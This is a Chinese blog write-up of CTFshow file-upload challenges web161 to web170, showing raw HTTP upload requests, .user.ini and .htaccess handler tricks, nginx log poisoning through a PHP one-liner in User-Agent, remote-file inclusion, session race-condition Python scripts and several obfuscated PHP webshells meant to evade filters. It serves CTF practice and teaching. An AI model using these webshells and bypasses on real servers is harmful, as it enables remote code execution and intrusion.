CTFshow-文件上传web161-170

最新推荐文章于 2024-08-12 14:39:20 发布
最新推荐文章于 2024-08-12 14:39:20 发布
阅读量162 收藏 2
点赞数 2
分类专栏： # WEB 文章标签： php CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52579508/article/details/141130918
版权

web161 添加GIF98a 头 内容过滤很多

一开始发现不管输入什么都不行 ，添加了GIF头成功通过上传校验
image.png

POST /upload.php HTTP/1.1
Host: 5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Content-Length: 217
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0OmUVRHeN6PWGoUA
Origin: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Referer: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF98a
auto_prepend_file=aaa.png

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

第二步上传 图片，包含了日志的文件 进行解析
image.png

POST /upload.php HTTP/1.1
Host: 5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Content-Length: 235
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0OmUVRHeN6PWGoUA
Origin: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Referer: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename="aaa.png"
Content-Type: image/png

GIF98a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

第三步访问 /upload 目录会解析 日志文件
添加user-agent 头里面 添加一句话

user-agent: <?php eval($_POST[1]);?>

image.png
第四步 连接shell 获取flag
image.png

web162-163 远程文件包含 条件竞争

远程文件包含

先上传 user.ini
image.png
发现存在. 就报错 ，不输入点 看看
image.png
成功上传 .user.ini
再上传aa ,这里是aa 不是 aa.png 了
远程文件包含

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename="aa"
Content-Type: image/png

GIF98a
<?=include'http://804006196'?>

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

image.png
这里的<?=include'[http://804006196'?>](http://804006196’?>)
这个是ip地址转换来的
IP转换工具 | IP地址 (简体中文) 🔍image.png
发送成功 看看是否包含了
image.png
可以发现他成功上传了 ，并包含了 ，但是没有发现这个文件 ，我们之间在vps上面改为一句话
image.png
去访问在执行
1=system(“tac …/flag”) ;
就可以，但是这里不成功 ，不晓得为什么。一直报错，我服务器php也已经全都开启了 （换了版本也不行）

条件竞争文件上传

import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://c903daed-5ba3-4151-8d84-b925752e59ba.challenge.ctf.show/"
url2="http://c903daed-5ba3-4151-8d84-b925752e59ba.challenge.ctf.show/upload"
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
    'file':'yu22x'
}
cookies={
    'PHPSESSID': sess
}

def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)

threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
    t.start()

import io
import sys
import requests
import threading

host = 'http://c903daed-5ba3-4151-8d84-b925752e59ba.challenge.ctf.show/'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat ../fl*');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

两个脚本 ，都没成功可能是没到开放条件竞争的时候

web164 二次渲染

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,"shell.png");

?>


#<?=$_GET[0]($_POST[1]);?>

生成图片的脚本
但是依旧没成功 说是没有成功执行 1这个参数

web165 二次渲染

复现不成功
参考：
image.png
服务器里面存在脚本

166 zip 上传

image.png
允许上传zip文件
image.png

image.png
上传的文件可以下载可能存在文件包含
image.png
直接上传一句话看看解析不解析
image.png
他解析了GIF98a 但是php又报错了
直接上传system
image.png
看看ls
image.png
成功执行 ls的
image.png
查看flag


------WebKitFormBoundarybttMK8ngmugY3QCS
Content-Disposition: form-data; name="file"; filename="t.zip"
Content-Type: application/x-zip-compressed

GIF98a
<?=system("tac /var/www/html/flag.php");?>
------WebKitFormBoundarybttMK8ngmugY3QCS--

image.png

167 上传.htaccess 绕过

image.png
提示httpd ，可能是上传 .htaccess 进行绕过

先上传带有木马的图片马
先上传一张图片
image.png
然后存在一个文件下载的方式接口
image.png
image.png
上传成功 再上传 .htaccess 文件

.htaccess

利于apache的解析漏洞 添加htaccess 方式一 将png解析成php

AddType application/x-httpd-php png
APPLESCRIPT

方式二

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

image.png

POST /upload.php HTTP/1.1
Host: 0d311094-d8e4-4231-9452-5b236373fdf6.challenge.ctf.show
Content-Length: 233
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVUNSa2445pXFWcvA
Origin: http://0d311094-d8e4-4231-9452-5b236373fdf6.challenge.ctf.show
Referer: http://0d311094-d8e4-4231-9452-5b236373fdf6.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryVUNSa2445pXFWcvA
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
------WebKitFormBoundaryVUNSa2445pXFWcvA--

上传方式二 ，不知道为什么方式一不成功解析
image.png
访问获取 flag

web168 内容检测 免杀

image.png
提示基础免杀 可能存在过滤
image.png
报错
image.png
这样成功上传
image.png
system就报错了 这里猜测可能是过滤了 函数这些
使用反引号 绕过
image.png
image.png
image.png
改为 查看flag
image.png

基础的一句话 免杀

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
PHP

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
PHP

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
PHP

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
PHP

web169 -170 日志文件包含

image.png
高级免杀
image.png上传前面的脚本发现不行
image.png
连<>这两个都过滤l

使用最前面的log日志文件包含
由于upload 下面没有php文件，先上传一个index.php 文件 内容无所谓
image.png
再上传 .user.ini

POST /upload.php HTTP/1.1
Host: db7d68b3-fc5e-4d09-b823-c87babc675dc.challenge.ctf.show
Content-Length: 227
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: <?=system('ls /');?>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRoJI7cskRPjH9dQZ
Origin: http://abe6959f-9cc7-4942-98a4-b9fbb0385b4b.challenge.ctf.show
Referer: http://abe6959f-9cc7-4942-98a4-b9fbb0385b4b.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryRoJI7cskRPjH9dQZ
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_append_file=/var/log/nginx/access.log

------WebKitFormBoundaryRoJI7cskRPjH9dQZ--

user-agent 里面的一句话木马

image.png
然后访问upload
image.png
这里成功执行了
image.png
查询flag

小龙_(R0 Team)
关注
  • 2
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctfshow-VIP题目-Web-详细解题思路
01-27
发现/editor目录，访问出现一个编辑器上传附件的地方，发现文件空间可以查看路径，发现一个nothinghere文件夹，比较可疑，里面找到fl000g.txt文件，访问/nothinghere/fl000g.txt，发现flag，flag：ctfshow{...}。...
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
03-04
【压缩包子文件的文件名称列表】"CTFshow-变量循环取值-我的眼里只有$" 提供了一个可能包含源代码、日志、测试数据或其他相关资源的文件。参赛者可能需要分析这个文件，寻找与题目相关的线索，比如错误的变量赋值、...
ctfshow-文件上传(web151-web161)
m0_72125469的博客
02-12 1700
ctfshow-web151 web152 web153 web154 web155 web156 web157 web158 web159 web160 web161
ctfshow-web入门-文件上传（web161、web162、web163）远程包含
Welcome To Myon'Blog !
07-09 1297
后面又去 b 站看了下视频，发现它远程包含的就是一个 php 文件，而我这里包含的 shell 是一个纯文本的东西，我最开始以为是将这段内容包含进了 index.php 的代码里，所以就没有考虑它不是 php 后缀是否可以正常解析的问题。后面问了群里的师傅，说用 flask，我原本用的是 Apache 搭的服务，重置了服务器，Apache 和 php 其实都是刚下的，可能还需要配置点什么吧，不清楚，因此我们将木马放到 flask 服务上去。那么我们上传的文件名就不使用后缀即可：这里以 test 为例。
CTFshow-web入门-文件上传
weixin_44770698的博客
07-06 1100
CTFshow-文件上传
CTFShow-WEB入门篇文件上传详细Wp(151-170)
Aluxian_的博客
07-16 2160
【代码】CTFShow-WEB入门篇文件上传详细Wp(115-170)
ctfshow-web13 文件上传
HAI_WD的博客
08-25 1389
首先看到是一个上传页面，测试其他无果，遂进行目录遍历，发现upload.php.bak文件。然后上传1.txt，尝试使用get，但是没有生效，这里需要控制字符数量。上传好了之后，通过index.php进行访问。然后通过highlight_file读取文件。那么我们先上传.user.ini。
ctfshow-web入门-文件上传（web151-web160）
Welcome To Myon'Blog !
07-07 1076
试了下前端只能传 png 后缀的将一句话木马改成 png 后缀，上传后用 burpsuite 抓包绕过前端检测后，改回 php 后缀，发包拿到 flag：ctfshow{e3bd0332-4d5f-4255-941f-a2e6095c4f17}我们还可以直接改它前端验证的代码：原本只支持上传 png 后缀的文件我们加一个 php 后缀进去，即可直接上传 php 后缀的文件。
ctfshow--web入门--文件上传--web168--web170
2301_81040377的博客
04-10 712
下载文件之后什么都没有，那么估计就是没有php解析，那我们就改文件后缀也改成php。上传zip文件发现不行，那么我们就要想想为啥（想不出来）查看两个文件发现flag在flagaa.php里面。所以上一道的那些做法就不行了，这里使用日志文件包含。**Content-Type要改为。，但是还是可以修改后缀。访问/upload/m.php。那么再写一个马（免杀脚本）然后随便上传一个php文件。那么查一下，原来是发现对。(上传zip文件再改包)用反引号直接执行命令。还是检查要zip文件。
CTFshow-文件上传
qq_61376069的博客
01-22 525
CTFshow入门——文件上传
CTFshow-文件上传web151-160
最新发布
qq_52579508的博客
08-12 343
提示前端校验不可靠抓包改 后缀webshell连接获取flag。
ctfshow-web41~60-WP
02-21
### CTFShow Web挑战41~60：深入解析与实战技巧 #### 挑战概述 CTFShow是一个提供多样化的网络安全挑战题目的平台，其中包含了大量的Web安全题目供参与者学习与实践。本篇文章主要关注的是CTFShow中的Web挑战第41...
CTFShow-周末大挑战parse-url篇Writeup
05-19
这篇Writeup主要涉及的是CTF（Capture The Flag）挑战中的Web安全领域，特别是URL解析漏洞的利用。CTF是一项网络安全竞赛，参与者通过解谜、破解密码等方式获取“国旗”（Flag），在这里指的是挑战的答案或关键信息...
ctfshow web189 无单引号，利用回显不同，盲注
10-21
ctfshow web189 无单引号，利用回显不同，盲注
LNMP环境搭建论坛
qq_63652578的博客
08-07 991
root@Rocky8-node1 ~]# mv upload/* /usr/share/nginx/html/ #把upload下的所有内容移动到/usr/share/nginx/html/[root@Rocky8-node1 ~]# sed -i '/^group =/ c \group = nginx' /etc/php-fpm.d/www.conf #将组改为nginx。
[FSCTF 2023]细狗2.0
2301_81462177的博客
08-09 280
cmd=ls${lFS}-1剁FSS9-后面加个$与{类似，起截断作用，$9是当前系统shel进程第九个参数持有者始终为空字符串。cmd=lsSlFS-l单纯$IFS2,IFS2被bash解释器当做变量名，输不出来结果，加一个{}就固定了变量名。ca\t/*123*/f* 发现不可以，看题解后发现使用${IFS}绕过。cmd=ls$lFs$9-1 (这里1到9应该都可以)ca\t$IFS/f* 可得flag。尝试输入cat /f*
【信创】Linux系统如何使用命令行或图形化工具禁用ipv6 _ 统信 _ 麒麟 _ 中科方德
鹏大圣运维
08-09 1044
Hello，大家好啊，今天给大家带来一篇关于在Linux系统中如何使用命令行或Grub Customizer工具禁用IPv6的文章。IPv6在某些环境下可能会引起网络问题或不必要的复杂性，因此禁用它可能会提高系统的稳定性和性能。本文将详细介绍两种禁用IPv6的方法。欢迎大家分享转发，点个关注和在看吧！
ctfhub文件包含
a666666688的博客
08-07 522
文件的内容，通常这个文件包含一些敏感信息，比如CTF比赛中的flag。这样就可以通过浏览器或其他HTTP客户端看到。，直接访问这个URL将导致服务器读取并返回。
ctfshow-web-web红包题
07-14
ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。 首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值